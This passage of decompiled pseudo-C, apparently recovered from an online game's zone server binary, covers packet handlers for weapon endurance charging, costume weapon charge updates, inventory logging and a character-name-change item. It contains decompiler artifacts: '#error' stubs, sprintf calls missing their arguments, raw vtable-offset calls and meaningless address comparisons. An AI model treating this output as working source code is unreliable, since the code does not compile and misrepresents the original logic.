ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_57; } LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10); LABEL_58: --funcallanalizer.fca_stackpoint; v51 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"); goto LABEL_59; } v8 = *(_WORD *)(netcmd + 3); if ( (unsigned int)*(_WORD *)(netcmd + 3) >> 10 == 8 ) { weaponcell = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8050))( (char *)v4 + 32200, v8 & 0x3FF); v11 = weaponcell; LABEL_23: if ( !v11 ) { *((_WORD *)v6 + 4) = 6790; v38 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v38, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v39 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v39 + 12))(v39, v4, &gpp); v51 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_59; } goto LABEL_20; } v12 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, *(_WORD *)(v11 + 8)); v13 = v12; weaponindex = v12; if ( v12 && v12->ce_Data->EffectEnum == 28 ) { v14 = *(_DWORD *)(v11 + 112); if ( !v14 ) { *((_WORD *)v6 + 4) = 6790; v15 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v15, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v16 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v4, &gpp); } LABEL_48: v51 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_59; } v17 = (*(int (__stdcall **)(int))(*(_DWORD *)v14 + 136))(v11); v18 = v13->ce_Data->EffectValue; rest = v17; if ( v17 < v18 ) { v19 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, *(_BYTE *)(netcmd + 2)); chargingcell = v19; if ( v19 ) { v20 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v19 + 8)); if ( v20 ) { if ( v20->data->ItemFunc == 1 ) { v21 = ChargedItemEffectDataBox::cideb_GetItemID( &chargedbuffdatabox, *(_WORD *)(v19 + 8)); chargedindex = v21; if ( v21 ) { if ( v21->ce_Data->EffectEnum == 27 ) { v22 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v19 + 8)); iac_charge = v22; if ( v22 ) { v23 = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v22 + 24))(v22, v19 + 8); chargenumber = v23; if ( v23 > 0 ) { if ( v23 > 1 ) { memcpy(&iti, (const void *)v19, 0x6Cu); v24 = v19 + 108; *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v24; BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v24 + 2); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(*(_DWORD *)iac_charge + 28))( &iti.iti_itemstruct, v23 - 1); v11 = weaponcell; v19 = chargingcell; } v25 = rest + chargedindex->ce_Data->EffectValue; v26 = weaponindex->ce_Data; if ( v25 > v26->EffectValue ) v25 = v26->EffectValue; chargeiteminven.Inven = *(unsigned __int8 *)(netcmd + 2) | 0x2400; *(_WORD *)gpp.pp_Buffer = 13453; *(_DWORD *)(v6 + 2) = *(_DWORD *)v11; *(_DWORD *)(v6 + 6) = *(_DWORD *)(v11 + 4); *((_WORD *)v6 + 5) = *(_WORD *)(netcmd + 3); *((_DWORD *)v6 + 3) = v25; *((_WORD *)v6 + 8) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 18) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v27 = chargedindex; *(_DWORD *)(v6 + 22) = *(_DWORD *)v19; *(_DWORD *)(v6 + 26) = *(_DWORD *)(v19 + 4); *((_WORD *)v6 + 15) = *(_WORD *)v27; *((_WORD *)v6 + 17) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( chargenumber > 1 ) { v30 = (ItemAttributeClass *)iac_charge; v6[36] = 0; *((_WORD *)v6 + 16) = 35; v28 = (char *)(ItemTotalInformation::iti_fill2buffer_atrib( &iti, v30, iti.iti_itemstruct.itemid, v6 + 37) - (v6 + 37)); v31 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v31 + 48))( v31, *((_WORD *)v6 + 17), v19, &iti, &chargeiteminven, &chargeiteminven); } else { v28 = 0; v6[36] = 1; *((_WORD *)v6 + 16) = 0; v29 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v29 + 40))( v29, *((_WORD *)v6 + 17), v19, &chargeiteminven, &chargeiteminven); } v32 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, unsigned int, int))(*(_DWORD *)v32 + 36))( v32, *((_WORD *)v6 + 17), (unsigned int)*(_WORD *)(netcmd + 3) >> 10, *(_WORD *)(netcmd + 3) & 0x3FF); v33 = ProtocolPacket::pp_SetPacketLen(&gpp, (int)(v28 + 37)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v33, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", (int)(v28 + 37)) ) { v34 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v34); } v35 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v35 + 4); goto LABEL_48; } } } } } } } *((_WORD *)v6 + 4) = 6792; } else { *((_WORD *)v6 + 4) = 6791; } } else { *((_WORD *)v6 + 4) = 6790; } v36 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v36, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v37 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v37 + 12))(v37, v4, &gpp); } goto LABEL_48; } if ( (unsigned int)*(_WORD *)(netcmd + 3) >> 10 == 9 ) { v11 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, v8 & 0x3FF); weaponcell = v11; goto LABEL_23; } *((_WORD *)v6 + 4) = 6789; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } LABEL_20: v51 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_59: __security_check_cookie(v50); } //----- (004D3E40) -------------------------------------------------------- #error "4D3E40: undefined or illegal type '#331' (funcsize=82)" //----- (004D3F60) -------------------------------------------------------- #error "4D3F60: undefined or illegal type '#331' (funcsize=53)" //----- (004D4040) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck(int ack) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"); } //----- (004D4090) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck(void *this, int ack) { void *v2; // edi@1 char *v3; // ebx@1 int v4; // eax@2 int v5; // eax@4 int v6; // ST04_4@5 DebugLogging *v7; // eax@5 DebugLogging *v8; // eax@5 int v9; // ecx@9 int v10; // eax@11 int v11; // ecx@14 char *v12; // eax@15 int v13; // eax@17 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12342; if ( *(_WORD *)(ack + 22) == 6784 ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(ack + 6), 0) ) { v6 = *(_WORD *)(ack + 6); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } if ( (unsigned int)*(_WORD *)(ack + 16) >> 10 == 8 ) { v9 = (int)((char *)v2 + 32200); } else { if ( (unsigned int)*(_WORD *)(ack + 16) >> 10 != 9 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : Invalid location", (unsigned int)*(_WORD *)(ack + 16) >> 10, *(_WORD *)(ack + 16) & 0x3FF); goto LABEL_18; } v9 = (int)((char *)v2 + 35568); } v10 = (**(int (__stdcall ***)(_DWORD))v9)(*(_WORD *)(ack + 16) & 0x3FF); if ( *(_DWORD *)v10 != *(_DWORD *)(ack + 8) || *(_DWORD *)(v10 + 4) != *(_DWORD *)(ack + 12) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : weaponkey wrong", 0); goto LABEL_18; } v11 = *(_DWORD *)(v10 + 112); if ( !v11 ) goto LABEL_18; (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v11 + 140))(v10, *(_DWORD *)(ack + 18)); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12342; *((_WORD *)v12 + 4) = 6784; *((_WORD *)v12 + 3) = *(_WORD *)(ack + 16); *(_DWORD *)(v12 + 2) = *(_DWORD *)(ack + 18); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 26); goto LABEL_18; } LABEL_17: v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); goto LABEL_18; } v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 32))(v4, *(_WORD *)(ack + 6)); *((_WORD *)v3 + 4) = *(_WORD *)(ack + 22); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) goto LABEL_17; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10); LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"); } //----- (004D42B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(void *this) { void *v1; // esi@1 char *v2; // eax@2 int v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)(*((_DWORD *)v1 + 23068) + 10) < (unsigned int)&wholesaver.ws_savestore[1161].esc_abstate.buffer[11944] ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12343; *(_DWORD *)(v2 + 2) = *(_DWORD *)(*((_DWORD *)v1 + 23068) + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"); } //----- (004D43A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(void *this) { void *v1; // esi@1 char *v2; // eax@2 int v3; // ecx@2 ZoneBaseSession *v4; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)(*((_DWORD *)v1 + 23068) + 10) < (unsigned int)&wholesaver.ws_savestore[1161].esc_abstate.buffer[11944] ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13455; v3 = *((_DWORD *)v1 + 23068); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); *(_DWORD *)(v2 + 10) = *(_DWORD *)(*((_DWORD *)v1 + 23068) + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 14); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"); } //----- (004D44A0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_InvenWrite(int msg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_InvenWrite"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_InvenWrite"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_InvenWrite"); } //----- (004D44F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenWrite(void *ecx0, int msg) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@4 unsigned int v5; // ecx@5 int v6; // edx@6 int v7; // esi@7 int v8; // ebp@9 int v9; // edx@12 int v10; // esi@20 ItemDataBox::ItemDataBoxIndex *v11; // eax@21 char *v12; // [sp-4h] [bp-14Ch]@3 FunctionEntarance _; // [sp+10h] [bp-138h]@1 ItemBoxIterItem this; // [sp+14h] [bp-134h]@12 int ibii; // [sp+24h] [bp-124h]@1 char *v16; // [sp+28h] [bp-120h]@1 int v17; // [sp+2Ch] [bp-11Ch]@1 int v18; // [sp+30h] [bp-118h]@1 int v19; // [sp+34h] [bp-114h]@1 char buffer[128]; // [sp+38h] [bp-110h]@9 char string; // [sp+B8h] [bp-90h]@23 unsigned int v22; // [sp+138h] [bp-10h]@19 int v23; // [sp+144h] [bp-4h]@1 v2 = ecx0; v19 = (int)ecx0; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)ItemBoxIterator::_vftable_; v16 = (char *)v2 + 35568; v3 = *((_DWORD *)v2 + 8892); v23 = 0; v18 = (*(int (**)(void))(v3 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v23) = 1; v17 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v4 = (**(int (__stdcall ***)(_DWORD))v16)(v17); if ( !v4 || (v5 = *(_WORD *)(v4 + 8), v5 >= *(_DWORD *)word_12510614) || (v6 = unk_12510DB0 + 24 * v5) == 0 || (v7 = *(_DWORD *)v6) == 0 ) goto LABEL_16; if ( !(*(_WORD *)v7 == *(_WORD *)(v4 + 8)) ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", *(_WORD *)v7 + 10000 * v5); LABEL_16: ibii = (int)ItemBoxIterator::_vftable_; LABEL_17: v23 = -1; v12 = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; goto LABEL_18; } sprintf(buffer, " Inv %3d %I64u %.40s"); v8 = v19; if ( !msg ) (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v19 + 1836))(v19, buffer); } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = (ItemBag *)(v8 + 32200); v9 = *(_DWORD *)(v8 + 32200); LOBYTE(v23) = 0; this.baseclass_0.ibi_Limit = (*(int (**)(void))(v9 + 8))(); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v23) = 2; this.baseclass_0.ibi_finger = 0; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&this) && !ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_17; } do { v10 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); if ( !v10 ) break; v11 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v10 + 8)); if ( !v11 ) break; if ( !v11->data ) break; sprintf(&string, " Equ %3d %I64u %.40s"); if ( !msg ) (*(void (__thiscall **)(int, char *))(*(_DWORD *)v8 + 1836))(v8, &string); } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ibii = (int)ItemBoxIterator::_vftable_; v23 = -1; v12 = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } __security_check_cookie(v22); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004D47D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 bool v5; // zf@1 char *v6; // ebp@1 int v7; // eax@11 char v8; // al@14 int v9; // eax@15 int v10; // ST28_4@20 signed int v11; // eax@20 int v12; // eax@24 int v13; // eax@27 void *v14; // esi@27 int v15; // edi@29 void *v16; // eax@30 int v17; // eax@31 ItemDataBox::ItemDataBoxIndex *v18; // eax@34 int v19; // eax@36 char v20; // al@42 int v21; // eax@43 void *v22; // eax@44 int v23; // esi@46 __int16 v24; // ax@47 void *v25; // edx@47 __int16 v26; // ax@47 char *v27; // edi@48 int v28; // eax@48 ItemAttributeClass *v29; // ST20_4@49 int v30; // eax@49 int v31; // eax@50 char v32; // al@50 ZoneBaseSession *v33; // eax@51 int v34; // eax@52 int v35; // [sp+20h] [bp-B8h]@22 const char *v36; // [sp+24h] [bp-B4h]@22 int v37; // [sp+28h] [bp-B0h]@22 FunctionEntarance _; // [sp+3Ch] [bp-9Ch]@1 ITEM_INVEN chargeiteminven; // [sp+40h] [bp-98h]@47 int nCharIDChangeItemLot; // [sp+44h] [bp-94h]@40 int pCharIDChangeItemCell; // [sp+48h] [bp-90h]@27 void *idb; // [sp+4Ch] [bp-8Ch]@30 void *iac_charge; // [sp+50h] [bp-88h]@44 int nCharIDChangeItemID; // [sp+54h] [bp-84h]@29 ItemTotalInformation iti; // [sp+58h] [bp-80h]@46 unsigned int v46; // [sp+C8h] [bp-10h]@58 int v47; // [sp+D4h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S6_64 & 1) == 0; v6 = gpp.pp_Buffer; v47 = 0; *(_WORD *)gpp.pp_Buffer = -19437; if ( v5 ) { _S6_64 |= 1u; cmc_57.cmc_AllowMode = 70; atexit(_E7_46); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_57.cmc_AllowMode) ) { *((_WORD *)v6 + 1) = 8369; LABEL_9: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6); LABEL_57: --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"); goto LABEL_58; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_56: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_57; } if ( *((_BYTE *)v4 + 7416) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2780))(v4) ) { *((_WORD *)v6 + 1) = 8369; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) goto LABEL_10; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_56; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v6 + 1) = 8370; goto LABEL_9; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { if ( *((_BYTE *)v4 + 69436) & 0xC || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { *((_WORD *)v6 + 1) = 8369; goto LABEL_14; } v10 = *(_BYTE *)(netcmd + 2); v11 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 8892) + 8))((char *)v4 + 35568); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v11, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : wrong slot", v10) ) goto LABEL_21; if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD, _DWORD))(*((_DWORD *)v4 + 14442) + 4))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 46071)) ) { *((_WORD *)v6 + 1) = 8372; goto LABEL_22; } v13 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, *(_BYTE *)(netcmd + 2)); v14 = (void *)v13; pCharIDChangeItemCell = v13; if ( v13 ) { v15 = *(_WORD *)(v13 + 8); nCharIDChangeItemID = v15; if ( (_WORD)v15 == -1 || (v16 = ItemDataBox::operator__(&itemdatabox, v15), (idb = v16) == 0) ) { LABEL_21: *((_WORD *)v6 + 1) = 8371; LABEL_22: v37 = 6; v36 = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long"; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 6); goto LABEL_23; } v17 = *(_DWORD *)(*(_DWORD *)v16 + 375); if ( v17 != 4 && v17 != 5 ) { v37 = 6; v36 = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long"; *((_WORD *)v6 + 1) = 6776; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 6); LABEL_23: if ( !AssertClass::operator__(&shineassert, v35, v36, v37) ) { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } LABEL_53: v47 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_58; } v18 = ItemDataBox::operator__(&itemdatabox, v15); v19 = v18 && v18->data; if ( AssertClass::operator__( &shineassert, v19, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Try to use empty char id change item cell", 0) ) { *((_WORD *)v6 + 1) = 8374; goto LABEL_22; } nCharIDChangeItemLot = (*(int (__stdcall **)(char *))(**((_DWORD **)v14 + 28) + 24))((char *)v14 + 8); if ( !AssertClass::operator__( &shineassert, nCharIDChangeItemLot > 0, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Try to use lot 0 item", 0) ) { v22 = ItemAttributeClassContainer::operator__(&itmattcontainer, v15); iac_charge = v22; if ( v22 ) { if ( nCharIDChangeItemLot > 1 ) { memcpy(&iti, v14, 0x6Cu); v23 = (int)((char *)v14 + 108); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v23; BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v23 + 2); (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, int))(*(_DWORD *)v22 + 28))( v22, &iti.iti_itemstruct, nCharIDChangeItemLot - 1); v14 = (void *)pCharIDChangeItemCell; LOWORD(v15) = nCharIDChangeItemID; } chargeiteminven.Inven = *(unsigned __int8 *)(netcmd + 2) | 0x2400; *(_WORD *)gpp.pp_Buffer = -19439; *(_DWORD *)(v6 + 2) = *(_DWORD *)v14; v24 = *((_WORD *)v6 + 5); *(_DWORD *)(v6 + 6) = *((_DWORD *)v14 + 1); v25 = idb; v26 = v24 & 0x3FF | 0x2400; *((_WORD *)v6 + 5) = v26; *((_WORD *)v6 + 5) = v26 ^ (v26 ^ *(_BYTE *)(netcmd + 2)) & 0x3FF; v6[12] = *(_DWORD *)(*(_DWORD *)v25 + 375) != 4; 